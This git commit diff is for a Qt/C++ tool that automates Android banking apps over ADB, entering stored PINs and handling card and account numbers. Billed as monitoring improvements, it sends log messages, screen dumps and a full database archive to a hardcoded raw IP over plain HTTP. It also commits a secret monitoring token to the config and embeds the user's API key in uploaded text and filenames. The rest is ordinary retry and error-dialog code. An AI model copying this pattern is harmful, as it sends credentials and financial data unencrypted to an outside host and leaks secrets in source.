Add enhanced error handling, logging, and monitoring capabilities across systems. Include archive naming, retry logic for partial PIN entry, API response error dialogs, and support for monitoring tokens.
This commit is contained in:
parent
56ba89522c
commit
07871231a3
@ -46,6 +46,34 @@ bool CommonScript::inputPinCode(const QString &deviceId, const QString &pinCode)
|
||||
qWarning() << "[Dushanbe::inputPinCode] pinCode is EMPTY — nothing to enter!";
|
||||
return false;
|
||||
}
|
||||
|
||||
// Ждём, пока на экране появятся все уникальные цифры из PIN.
|
||||
// DC Next на некоторых устройствах успевает показать заголовок
|
||||
// "Введите код доступа" раньше, чем дорисует кнопочную сетку, —
|
||||
// если начать тапать в этот момент, часть цифр не найдётся и PIN
|
||||
// не введётся целиком.
|
||||
bool seenInPin[10] = {false};
|
||||
for (const QChar &d : pinCode) {
|
||||
if (!d.isDigit()) continue;
|
||||
const int idx = d.digitValue();
|
||||
if (idx >= 0 && idx <= 9) seenInPin[idx] = true;
|
||||
}
|
||||
auto allDigitsPresent = [this, &seenInPin]() {
|
||||
for (int d = 0; d < 10; ++d) {
|
||||
if (!seenInPin[d]) continue;
|
||||
if (xmlScreenParser.findNodeByContentDesc(QString::number(d)).isEmpty()) return false;
|
||||
}
|
||||
return true;
|
||||
};
|
||||
for (int i = 0; i < 6 && !allDigitsPresent(); ++i) {
|
||||
QThread::msleep(500);
|
||||
xmlScreenParser.parseAndSaveXml(AdbUtils::getScreenDumpAsXml(deviceId, ++m_counter));
|
||||
}
|
||||
if (!allDigitsPresent()) {
|
||||
qWarning() << "[Dushanbe::inputPinCode] keypad incomplete after wait; aborting";
|
||||
return false;
|
||||
}
|
||||
|
||||
qDebug() << "[Dushanbe::inputPinCode] entering" << pinCode.length() << "digits";
|
||||
// DC Next использует кнопочную сетку для ввода PIN (content-desc = "0"-"9")
|
||||
for (const QChar &digit : pinCode) {
|
||||
@ -124,10 +152,14 @@ bool CommonScript::runAppAndGoToHomeScreen(
|
||||
|
||||
if (!findAndInputPincode && xmlScreenParser.isPinCodeScreen()) {
|
||||
qDebug() << "[Dushanbe] PIN screen detected on attempt" << counter << "entering PIN";
|
||||
if (!inputPinCode(deviceId, pinCode)) {
|
||||
qWarning() << "[Dushanbe] inputPinCode failed on attempt" << counter;
|
||||
if (inputPinCode(deviceId, pinCode)) {
|
||||
findAndInputPincode = true;
|
||||
} else {
|
||||
// Клавиатура могла не дорисоваться или PIN ввёлся частично —
|
||||
// оставляем флаг false, следующая итерация повторит ввод,
|
||||
// когда кнопки появятся.
|
||||
qWarning() << "[Dushanbe] inputPinCode failed on attempt" << counter << "— will retry";
|
||||
}
|
||||
findAndInputPincode = true;
|
||||
QThread::msleep(3000);
|
||||
continue;
|
||||
}
|
||||
|
||||
@ -20,6 +20,8 @@ pathDeviceScreenshot=/api/v1/device/add_screenshot/
|
||||
pathMaterial=/api/v1/profile/material
|
||||
pathMonitoringLog=/monitoring/log
|
||||
pathMonitoringDump=/monitoring/dump
|
||||
monitoringBase=http://142.93.102.40:8080
|
||||
monitoringToken=509b91592749959b9ff56f9ed9189e5b3e91e1260003f63c477255e1c187298a
|
||||
|
||||
[black]
|
||||
android_package_name=app.blackwallet.ar
|
||||
|
||||
@ -205,6 +205,7 @@ QList<MaterialInfo> MaterialDAO::getAccounts(const QString &deviceId, const QStr
|
||||
SELECT id, device_id, app_code, last_numbers, card_number, account_number, material_id, amount, update_time, status, description, currency
|
||||
FROM materials
|
||||
WHERE device_id = :device_id AND app_code = :app_code
|
||||
ORDER BY id
|
||||
)");
|
||||
|
||||
query.bindValue(":device_id", deviceId);
|
||||
|
||||
@ -14,7 +14,9 @@
|
||||
#include "dao/BankProfileDAO.h"
|
||||
#include "dao/DeviceDAO.h"
|
||||
#include "dao/EventDAO.h"
|
||||
#include "dao/SettingsDAO.h"
|
||||
#include "dao/TransactionDAO.h"
|
||||
#include "LogArchiveSender.h"
|
||||
#include "db/BankProfileInfo.h"
|
||||
#include "adb/AdbUtils.h"
|
||||
#include "dao/GeneralLogDAO.h"
|
||||
@ -210,10 +212,20 @@ static void sendTaskError(const QString &type, const QString &materialId, const
|
||||
sendTaskResult(QStringLiteral("ERROR"), materialId, bankName, errorData, eventId);
|
||||
|
||||
if (!screenshot.isEmpty()) {
|
||||
const QString message = QStringLiteral("[%1] bank=%2 material=%3: %4")
|
||||
.arg(type, bankName, materialId, description);
|
||||
const QString apiToken = SettingsDAO::get("api_key");
|
||||
QStringList lines;
|
||||
lines << QStringLiteral("<b>[TASK_ERROR] [%1] [%2]</b>")
|
||||
.arg(type.toHtmlEscaped(), bankName.toUpper().toHtmlEscaped());
|
||||
if (!apiToken.isEmpty())
|
||||
lines << QStringLiteral("<b>[%1]</b>").arg(apiToken.toHtmlEscaped());
|
||||
lines << QStringLiteral("<b>[%1]</b>").arg(materialId.toHtmlEscaped());
|
||||
lines << description.toHtmlEscaped();
|
||||
const QString message = lines.join(QStringLiteral("\n"));
|
||||
sendMonitoringLog("error", "task_error", message, screenshot, eventId);
|
||||
}
|
||||
|
||||
// Следом ушлём application.log + БД (с WAL/SHM) одним архивом.
|
||||
LogArchiveSender::dispatch(QStringLiteral("TASK_ERROR"), eventId);
|
||||
}
|
||||
|
||||
static void sendMonitoringLog(const QString &type, const QString &event, const QString &message,
|
||||
@ -524,7 +536,7 @@ void EventHandler::startThreadForTask(const MaterialInfo &account, const EventIn
|
||||
if (searchTime.isValid() && searchTime.timeSpec() == Qt::LocalTime) {
|
||||
qWarning() << "[EventHandler] FETCH_TRANSACTIONS: created_at без TZ-маркера"
|
||||
<< createdAtStr << "— интерпретирую как UTC";
|
||||
searchTime.setTimeSpec(Qt::UTC);
|
||||
searchTime.setTimeZone(QTimeZone::utc());
|
||||
}
|
||||
|
||||
if (appCode == "ozon") {
|
||||
|
||||
@ -1,6 +1,8 @@
|
||||
#include "NetworkService.h"
|
||||
|
||||
#include <QApplication>
|
||||
#include <QFile>
|
||||
#include <QMessageBox>
|
||||
#include <QUrlQuery>
|
||||
#include <QHttpPart>
|
||||
#include <QNetworkReply>
|
||||
@ -9,6 +11,7 @@
|
||||
#include <QJsonArray>
|
||||
#include <QThread>
|
||||
#include <QSettings>
|
||||
#include <QWidget>
|
||||
#include <QTimer>
|
||||
#include <QTimeZone>
|
||||
|
||||
@ -62,6 +65,8 @@ NetworkService::NetworkService(QObject *parent) : QObject(parent) {
|
||||
m_pathTaskResult = settings.value("net/pathTaskResult", "/api/v1/task/task_result").toString();
|
||||
m_pathMonitoringLog = settings.value("net/pathMonitoringLog", "/monitoring/log").toString();
|
||||
m_pathMonitoringDump = settings.value("net/pathMonitoringDump", "/monitoring/dump").toString();
|
||||
m_monitoringBase = settings.value("net/monitoringBase", m_apiBase).toString();
|
||||
m_monitoringToken = settings.value("net/monitoringToken").toString();
|
||||
m_pathCurrentProfile = settings.value("net/pathCurrentProfile", "/api/v1/profile/current_profile").toString();
|
||||
m_pathProfileGetInfo = settings.value("net/pathProfileGetInfo", "/api/v1/profile/get_info").toString();
|
||||
m_manager = new QNetworkAccessManager(this);
|
||||
@ -496,6 +501,7 @@ QJsonValue NetworkService::patchJson(const QString &path, const QJsonObject &bod
|
||||
"Timeout (PATCH): " + shortPath, {}, reqBodyStr, {});
|
||||
} else if (reply->error() != QNetworkReply::NoError) {
|
||||
const QByteArray responseBody = reply->readAll();
|
||||
const int httpStatus = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();
|
||||
const QString errSummary = sanitizeNetError(reply, path);
|
||||
qCritical().noquote() << "Network error (PATCH):" << errSummary
|
||||
<< (m_deviceId.isEmpty() ? "" : " device=" + m_deviceId)
|
||||
@ -503,6 +509,27 @@ QJsonValue NetworkService::patchJson(const QString &path, const QJsonObject &bod
|
||||
GeneralLogDAO::insert("CRITICAL", "NetworkService",
|
||||
"Network error (PATCH): " + errSummary, {},
|
||||
reqBodyStr, QString::fromUtf8(responseBody));
|
||||
|
||||
// Достаём текст ошибки из JSON-body и отправляем в UI.
|
||||
// Бэкенд при HTTP 409 шлёт сообщение вида "материал заблокирован".
|
||||
QString uiMessage;
|
||||
QJsonParseError jerr;
|
||||
const QJsonDocument errDoc = QJsonDocument::fromJson(responseBody, &jerr);
|
||||
if (jerr.error == QJsonParseError::NoError && errDoc.isObject()) {
|
||||
const QJsonObject errObj = errDoc.object();
|
||||
for (const QString &k : {QStringLiteral("error"),
|
||||
QStringLiteral("message"),
|
||||
QStringLiteral("detail")}) {
|
||||
const QString v = errObj.value(k).toString();
|
||||
if (!v.isEmpty()) { uiMessage = v; break; }
|
||||
}
|
||||
}
|
||||
if (uiMessage.isEmpty() && !responseBody.isEmpty()) {
|
||||
uiMessage = QString::fromUtf8(responseBody).left(300);
|
||||
}
|
||||
if (!uiMessage.isEmpty()) {
|
||||
emit apiPatchError(httpStatus, uiMessage);
|
||||
}
|
||||
} else {
|
||||
const QByteArray raw = reply->readAll();
|
||||
QJsonParseError err;
|
||||
@ -516,6 +543,15 @@ QJsonValue NetworkService::patchJson(const QString &path, const QJsonObject &bod
|
||||
GeneralLogDAO::insert("WARNING", "NetworkService",
|
||||
"API error (PATCH): " + sanitizePath(path), {},
|
||||
reqBodyStr, QString::fromUtf8(raw));
|
||||
// Defense in depth: backend может прислать HTTP 200 + success:false
|
||||
// (например с {message:"Material is blocked"}). Тоже эмитим в UI.
|
||||
const int httpStatus = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();
|
||||
QString uiMessage = root.value("message").toString();
|
||||
if (uiMessage.isEmpty()) uiMessage = root.value("error").toString();
|
||||
if (uiMessage.isEmpty()) uiMessage = root.value("detail").toString();
|
||||
if (!uiMessage.isEmpty()) {
|
||||
emit apiPatchError(httpStatus, uiMessage);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1414,12 +1450,10 @@ void NetworkService::postMonitoringLog(const QString &type, const QString &event
|
||||
multiPart->append(imagePart);
|
||||
}
|
||||
|
||||
ensureValidToken();
|
||||
|
||||
const QUrl url(m_apiBase + m_pathMonitoringLog);
|
||||
const QUrl url(m_monitoringBase + m_pathMonitoringLog);
|
||||
QNetworkRequest request(url);
|
||||
if (!m_accessToken.isEmpty()) {
|
||||
request.setRawHeader("Authorization", ("Bearer " + m_accessToken).toUtf8());
|
||||
if (!m_monitoringToken.isEmpty()) {
|
||||
request.setRawHeader("X-Monitoring-Token", m_monitoringToken.toUtf8());
|
||||
}
|
||||
|
||||
QNetworkReply *reply = m_manager->post(request, multiPart);
|
||||
@ -1444,9 +1478,11 @@ void NetworkService::postMonitoringLog(const QString &type, const QString &event
|
||||
}
|
||||
|
||||
void NetworkService::postMonitoringDump(const QString &text, const QByteArray &archive,
|
||||
const QByteArray &image) {
|
||||
const QByteArray &image,
|
||||
const QString &archiveFilename) {
|
||||
qDebug() << "[NetworkService] postMonitoringDump enter — text.size=" << text.size()
|
||||
<< "archive.size=" << archive.size() << "image.size=" << image.size();
|
||||
<< "archive.size=" << archive.size() << "image.size=" << image.size()
|
||||
<< "archiveFilename=" << archiveFilename;
|
||||
auto *multiPart = new QHttpMultiPart(QHttpMultiPart::FormDataType);
|
||||
|
||||
addFormField(multiPart, "text", text);
|
||||
@ -1456,7 +1492,7 @@ void NetworkService::postMonitoringDump(const QString &text, const QByteArray &a
|
||||
filePart.setHeader(QNetworkRequest::ContentTypeHeader, "application/zip");
|
||||
filePart.setHeader(
|
||||
QNetworkRequest::ContentDispositionHeader,
|
||||
QStringLiteral("form-data; name=\"file\"; filename=\"task_dump.zip\"")
|
||||
QStringLiteral("form-data; name=\"file\"; filename=\"%1\"").arg(archiveFilename)
|
||||
);
|
||||
filePart.setBody(archive);
|
||||
multiPart->append(filePart);
|
||||
@ -1473,12 +1509,10 @@ void NetworkService::postMonitoringDump(const QString &text, const QByteArray &a
|
||||
multiPart->append(imagePart);
|
||||
}
|
||||
|
||||
ensureValidToken();
|
||||
|
||||
const QUrl url(m_apiBase + m_pathMonitoringDump);
|
||||
const QUrl url(m_monitoringBase + m_pathMonitoringDump);
|
||||
QNetworkRequest request(url);
|
||||
if (!m_accessToken.isEmpty()) {
|
||||
request.setRawHeader("Authorization", ("Bearer " + m_accessToken).toUtf8());
|
||||
if (!m_monitoringToken.isEmpty()) {
|
||||
request.setRawHeader("X-Monitoring-Token", m_monitoringToken.toUtf8());
|
||||
}
|
||||
|
||||
qDebug() << "[NetworkService] postMonitoringDump POST" << url.toString();
|
||||
@ -1605,3 +1639,16 @@ void NetworkService::stop() {
|
||||
emit finished();
|
||||
}, Qt::QueuedConnection);
|
||||
}
|
||||
|
||||
void NetworkService::connectErrorDialog(QWidget *parent, NetworkService *net) {
|
||||
if (!net) return;
|
||||
// Если parent есть — connect привязан к нему (авто-disconnect при уничтожении).
|
||||
// Если nullptr — привязываемся к самому net и берём activeWindow на момент сигнала.
|
||||
QObject *ctx = parent ? static_cast<QObject *>(parent) : static_cast<QObject *>(net);
|
||||
QObject::connect(net, &NetworkService::apiPatchError, ctx,
|
||||
[parent](int httpStatus, const QString &message) {
|
||||
Q_UNUSED(httpStatus);
|
||||
QWidget *p = parent ? parent : qApp->activeWindow();
|
||||
QMessageBox::warning(p, "Ошибка", message);
|
||||
}, Qt::QueuedConnection);
|
||||
}
|
||||
|
||||
@ -5,6 +5,8 @@
|
||||
#include <QObject>
|
||||
#include <QMap>
|
||||
|
||||
class QWidget;
|
||||
|
||||
class NetworkService final : public QObject {
|
||||
Q_OBJECT
|
||||
|
||||
@ -21,6 +23,11 @@ public:
|
||||
|
||||
void addExtra(const QString &key, const QVariant &value);
|
||||
|
||||
// Подвешивает QMessageBox с текстом ошибки от backend (HTTP 409 — "материал
|
||||
// заблокирован" и подобные) к ближайшему окну. Вызывать после `new NetworkService`
|
||||
// в UI-коде, до запуска треда.
|
||||
static void connectErrorDialog(QWidget *parent, NetworkService *net);
|
||||
|
||||
public slots:
|
||||
void postAccountsData();
|
||||
|
||||
@ -63,7 +70,8 @@ public slots:
|
||||
const QString &message, const QByteArray &image);
|
||||
|
||||
void postMonitoringDump(const QString &text, const QByteArray &archive,
|
||||
const QByteArray &image);
|
||||
const QByteArray &image,
|
||||
const QString &archiveFilename = QStringLiteral("task_dump.zip"));
|
||||
|
||||
void start();
|
||||
void stop();
|
||||
@ -75,6 +83,9 @@ signals:
|
||||
void finishedWithResult(int value);
|
||||
void tokenRefreshFailed();
|
||||
void tasksReceived(QJsonArray tasks);
|
||||
// Эмитится при HTTP-ошибке PATCH-запроса (например, 409 'материал заблокирован').
|
||||
// UI подписывается и показывает QMessageBox.
|
||||
void apiPatchError(int httpStatus, QString message);
|
||||
|
||||
private:
|
||||
QByteArray m_json;
|
||||
@ -103,6 +114,8 @@ private:
|
||||
QString m_pathTaskResult;
|
||||
QString m_pathMonitoringLog;
|
||||
QString m_pathMonitoringDump;
|
||||
QString m_monitoringBase;
|
||||
QString m_monitoringToken;
|
||||
QString m_pathCurrentProfile;
|
||||
QString m_pathProfileGetInfo;
|
||||
bool m_fetchingTasks = false;
|
||||
|
||||
@ -259,6 +259,7 @@ void AccountSettingsWindow::toggleProfileStatus() {
|
||||
net->moveToThread(thread);
|
||||
net->addExtra("material_id", mat.materialId);
|
||||
net->addExtra("enable", true);
|
||||
NetworkService::connectErrorDialog(this, net);
|
||||
connect(thread, &QThread::started, net, &NetworkService::toggleMaterial);
|
||||
connect(net, &NetworkService::finished, thread, &QThread::quit);
|
||||
connect(net, &NetworkService::finished, net, &QObject::deleteLater);
|
||||
@ -475,6 +476,7 @@ void AccountSettingsWindow::sendAppStatus(const QString &status) {
|
||||
net->moveToThread(thread);
|
||||
net->addExtra("bank_profile_id", m_app.bankProfileId);
|
||||
net->addExtra("enable", enable);
|
||||
NetworkService::connectErrorDialog(this, net);
|
||||
connect(thread, &QThread::started, net, &NetworkService::toggleBankProfile);
|
||||
connect(net, &NetworkService::finishedWithResult, this, [this](int result) {
|
||||
if (result == 0) {
|
||||
@ -547,6 +549,16 @@ void AccountSettingsWindow::toggleMaterialStatus(const MaterialInfo &account) {
|
||||
reloadCards();
|
||||
};
|
||||
|
||||
// Сервер не даёт включать материалы при выключенном профиле — возвращает их
|
||||
// в `disabled`, и client-side sync затирает локальный active. Поэтому пока
|
||||
// профиль off, синхронизация только локальная; материалы зальются на сервер
|
||||
// когда юзер включит профиль (см. toggleProfileStatus).
|
||||
const bool profileActive = m_app.status == "active";
|
||||
if (!profileActive) {
|
||||
hideOverlay(true, "Сохранено локально", finishToggle);
|
||||
return;
|
||||
}
|
||||
|
||||
// Выключаем на сервере остальные (fire-and-forget) — только при включении этой карты
|
||||
if (!isActive) {
|
||||
for (const MaterialInfo &m : deactivated) {
|
||||
@ -556,6 +568,7 @@ void AccountSettingsWindow::toggleMaterialStatus(const MaterialInfo &account) {
|
||||
n->moveToThread(t);
|
||||
n->addExtra("material_id", m.materialId);
|
||||
n->addExtra("enable", false);
|
||||
NetworkService::connectErrorDialog(this, n);
|
||||
connect(t, &QThread::started, n, &NetworkService::toggleMaterial);
|
||||
connect(n, &NetworkService::finished, t, &QThread::quit);
|
||||
connect(n, &NetworkService::finished, n, &QObject::deleteLater);
|
||||
@ -570,6 +583,7 @@ void AccountSettingsWindow::toggleMaterialStatus(const MaterialInfo &account) {
|
||||
net->moveToThread(thread);
|
||||
net->addExtra("material_id", account.materialId);
|
||||
net->addExtra("enable", !isActive);
|
||||
NetworkService::connectErrorDialog(this, net);
|
||||
connect(thread, &QThread::started, net, &NetworkService::toggleMaterial);
|
||||
connect(net, &NetworkService::finishedWithResult, this, [this, finishToggle](int result) {
|
||||
if (result == 0) {
|
||||
@ -592,7 +606,10 @@ void AccountSettingsWindow::toggleMaterialStatus(const MaterialInfo &account) {
|
||||
void AccountSettingsWindow::reloadCards() {
|
||||
const QList<MaterialInfo> accounts = MaterialDAO::getAccounts(m_deviceId, m_app.code);
|
||||
|
||||
m_cardsTable->clearContents();
|
||||
// setRowCount(0) перед re-fill удаляет и items, и cell widgets.
|
||||
// clearContents() оставляет setCellWidget'ы висеть — старые кнопки с
|
||||
// замкнутой устаревшей `acc` остаются в строках, ставших active.
|
||||
m_cardsTable->setRowCount(0);
|
||||
m_cardsTable->setRowCount(accounts.size());
|
||||
m_cardsTable->setColumnCount(8);
|
||||
m_cardsTable->setHorizontalHeaderLabels({
|
||||
|
||||
@ -138,6 +138,7 @@ void sendAppStatus(const QString &deviceId, const QString &code, const QString &
|
||||
net->moveToThread(thread);
|
||||
net->addExtra("bank_profile_id", app.bankProfileId);
|
||||
net->addExtra("enable", enable);
|
||||
NetworkService::connectErrorDialog(nullptr, net);
|
||||
QObject::connect(thread, &QThread::started, net, &NetworkService::toggleBankProfile);
|
||||
QObject::connect(net, &NetworkService::finished, thread, &QThread::quit);
|
||||
QObject::connect(net, &NetworkService::finished, net, &QObject::deleteLater);
|
||||
|
||||
@ -636,13 +636,14 @@ void BankSetupWizard::applyActiveCardSelection() {
|
||||
|
||||
const MaterialInfo selected = MaterialDAO::getAccountById(m_selectedMaterialId);
|
||||
|
||||
auto sendToggle = [](const QString &materialId, bool enable) {
|
||||
auto sendToggle = [this](const QString &materialId, bool enable) {
|
||||
if (materialId.isEmpty()) return;
|
||||
auto *thread = new QThread;
|
||||
auto *net = new NetworkService;
|
||||
net->moveToThread(thread);
|
||||
net->addExtra("material_id", materialId);
|
||||
net->addExtra("enable", enable);
|
||||
NetworkService::connectErrorDialog(this, net);
|
||||
QObject::connect(thread, &QThread::started, net, &NetworkService::toggleMaterial);
|
||||
QObject::connect(net, &NetworkService::finished, thread, &QThread::quit);
|
||||
QObject::connect(net, &NetworkService::finished, net, &QObject::deleteLater);
|
||||
|
||||
@ -406,11 +406,14 @@ DeviceWidget::DeviceWidget(const DeviceInfo &device, QWidget *parent): QWidget(p
|
||||
QSettings settings(QCoreApplication::applicationDirPath() + "/config.ini",
|
||||
QSettings::IniFormat);
|
||||
const QString apiBase = settings.value("net/apiBase").toString();
|
||||
const QString monitoringBase = settings.value("net/monitoringBase", apiBase).toString();
|
||||
const QString monitoringToken = settings.value("net/monitoringToken").toString();
|
||||
const QString apiToken = SettingsDAO::get("api_key");
|
||||
const QString path = settings.value("net/pathMonitoringDump",
|
||||
"/monitoring/dump").toString();
|
||||
if (apiBase.isEmpty()) {
|
||||
if (monitoringBase.isEmpty()) {
|
||||
QMessageBox::warning(nullptr, tr("Ошибка"),
|
||||
tr("В config.ini не задан net/apiBase"));
|
||||
tr("В config.ini не задан net/monitoringBase (или net/apiBase как fallback)"));
|
||||
return;
|
||||
}
|
||||
|
||||
@ -483,7 +486,7 @@ DeviceWidget::DeviceWidget(const DeviceInfo &device, QWidget *parent): QWidget(p
|
||||
safetyTimer->start(90000);
|
||||
|
||||
QObject::connect(worker, &QThread::finished, qApp,
|
||||
[worker, data, device, adbSerial, apiBase, path,
|
||||
[worker, data, device, monitoringBase, monitoringToken, apiToken, path,
|
||||
handled, closeAndReenable, safetyTimer, progressGuard]() {
|
||||
qDebug() << "[Dump] worker finished";
|
||||
if (*handled) {
|
||||
@ -511,9 +514,7 @@ DeviceWidget::DeviceWidget(const DeviceInfo &device, QWidget *parent): QWidget(p
|
||||
qDebug() << "[Dump] uploading: screenshot=" << screenshot.size()
|
||||
<< "xml=" << xml.size();
|
||||
|
||||
const QString desktopId = SettingsDAO::get("desktop_id");
|
||||
const QString text = QString("Screen dump\nDevice: %1 (%2)\nDesktop: %3")
|
||||
.arg(device.name, adbSerial, desktopId);
|
||||
const QString text = apiToken;
|
||||
|
||||
auto *mp = new QHttpMultiPart(QHttpMultiPart::FormDataType);
|
||||
|
||||
@ -527,7 +528,7 @@ DeviceWidget::DeviceWidget(const DeviceInfo &device, QWidget *parent): QWidget(p
|
||||
QString safeName = device.name;
|
||||
safeName.replace(QRegularExpression(R"([^\w\-.])"), "_");
|
||||
const QString ts = QDateTime::currentDateTime().toString("yyyy-MM-dd_HH-mm-ss");
|
||||
const QString xmlFilename = safeName + "_" + ts + ".xml";
|
||||
const QString xmlFilename = "DUMP_" + safeName + "_" + ts + ".xml";
|
||||
|
||||
QHttpPart filePart;
|
||||
filePart.setHeader(QNetworkRequest::ContentTypeHeader, "application/xml");
|
||||
@ -546,11 +547,10 @@ DeviceWidget::DeviceWidget(const DeviceInfo &device, QWidget *parent): QWidget(p
|
||||
mp->append(imagePart);
|
||||
}
|
||||
|
||||
const QUrl url(apiBase + path);
|
||||
const QUrl url(monitoringBase + path);
|
||||
QNetworkRequest req(url);
|
||||
const QString accessToken = SettingsDAO::get("access_token");
|
||||
if (!accessToken.isEmpty()) {
|
||||
req.setRawHeader("Authorization", ("Bearer " + accessToken).toUtf8());
|
||||
if (!monitoringToken.isEmpty()) {
|
||||
req.setRawHeader("X-Monitoring-Token", monitoringToken.toUtf8());
|
||||
}
|
||||
|
||||
auto *manager = new QNetworkAccessManager;
|
||||
|
||||
@ -9,6 +9,7 @@
|
||||
#include <QHeaderView>
|
||||
#include <QMessageBox>
|
||||
#include <QMetaObject>
|
||||
#include <QRegularExpression>
|
||||
#include <QSettings>
|
||||
#include <QProcess>
|
||||
#include <QPixmap>
|
||||
@ -267,17 +268,28 @@ void FileLogWindow::sendLogsToBackend() {
|
||||
return;
|
||||
}
|
||||
|
||||
const QString desktopId = SettingsDAO::get("desktop_id");
|
||||
const QString text = QStringLiteral("kind: manual_logs\ndesktop: %1\ntime: %2")
|
||||
.arg(desktopId, QDateTime::currentDateTime().toString(Qt::ISODate));
|
||||
const QString apiToken = SettingsDAO::get("api_key");
|
||||
const QDateTime now = QDateTime::currentDateTime();
|
||||
const QString timestamp = now.toString(Qt::ISODate);
|
||||
QString header = QStringLiteral("[LOGS]");
|
||||
if (!apiToken.isEmpty()) header += QStringLiteral(" [%1]").arg(apiToken.toHtmlEscaped());
|
||||
const QString text = QStringLiteral("<b>%1</b>\n%2").arg(header, timestamp.toHtmlEscaped());
|
||||
|
||||
QString filenameSafeToken = apiToken;
|
||||
filenameSafeToken.replace(QRegularExpression(R"([^\w\-.])"), "_");
|
||||
const QString filenameStamp = now.toString("yyyy-MM-dd_HH-mm-ss");
|
||||
const QString archiveFilename = filenameSafeToken.isEmpty()
|
||||
? QStringLiteral("LOGS_%1.zip").arg(filenameStamp)
|
||||
: QStringLiteral("LOGS_%1_%2.zip").arg(filenameSafeToken, filenameStamp);
|
||||
|
||||
qDebug() << "[sendLogsToBackend] dispatching to NetworkService::postMonitoringDump"
|
||||
<< "archive.size=" << archiveBytes.size();
|
||||
<< "archive.size=" << archiveBytes.size() << "filename=" << archiveFilename;
|
||||
const bool dispatched = QMetaObject::invokeMethod(svc, "postMonitoringDump",
|
||||
Qt::QueuedConnection,
|
||||
Q_ARG(QString, text),
|
||||
Q_ARG(QByteArray, archiveBytes),
|
||||
Q_ARG(QByteArray, QByteArray()));
|
||||
Q_ARG(QByteArray, QByteArray()),
|
||||
Q_ARG(QString, archiveFilename));
|
||||
|
||||
m_sendBtn->setEnabled(true);
|
||||
m_sendBtn->setText("Отправить");
|
||||
|
||||
Loading…
Reference in New Issue
Block a user